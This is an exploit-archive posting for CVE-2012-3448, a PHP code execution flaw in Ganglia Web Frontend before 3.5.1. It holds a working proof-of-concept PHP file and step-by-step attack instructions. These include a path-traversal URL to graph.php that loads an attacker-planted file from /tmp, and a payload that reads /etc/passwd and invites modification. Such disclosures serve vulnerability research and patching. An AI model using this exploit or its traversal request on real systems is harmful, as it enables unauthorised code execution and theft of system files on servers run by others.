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Ganglia Web Frontend PHP Code Execution

Ganglia Web Frontend PHP Code Execution
Posted Aug 31, 2015
Authored by Andrei Costin

Ganglia Web Frontend versions prior to 3.5.1 suffer from a php code execution vulnerability.

tags | exploit, web, php, code execution
advisories | CVE-2012-3448, OSVDB-84240
MD5 | f0f5838cba46ea9e2b545f41a4b39dab

Ganglia Web Frontend PHP Code Execution

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<?php
/*

################################################################################
#
# Author : Andrei Costin (andrei theATsign firmware theDOTsign re)
# Desc : CVE-2012-3448 PoC
# Details : This PoC will create a dummy file in the /tmp folder and
# will copy /etc/passwd to /tmp.
# To modify the attack payload, modify the code below.\
# Setup : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0
#
################################################################################

1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/

2. Assuming the attacker has minimal access to the target machine and
can write to "/tmp". There are several methods where a remote attacker can
also trigger daemons or other system processes to create files in "/tmp"
whose content is (partially) controlled by the remote attacker.

3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php

4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY

5. Confirm that the PoC created a dummy file in the /tmp folder and copied
/etc/passwd to /tmp.

*/

eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");');
die("Triggering CVE-2012-3448 attack.php");

?>

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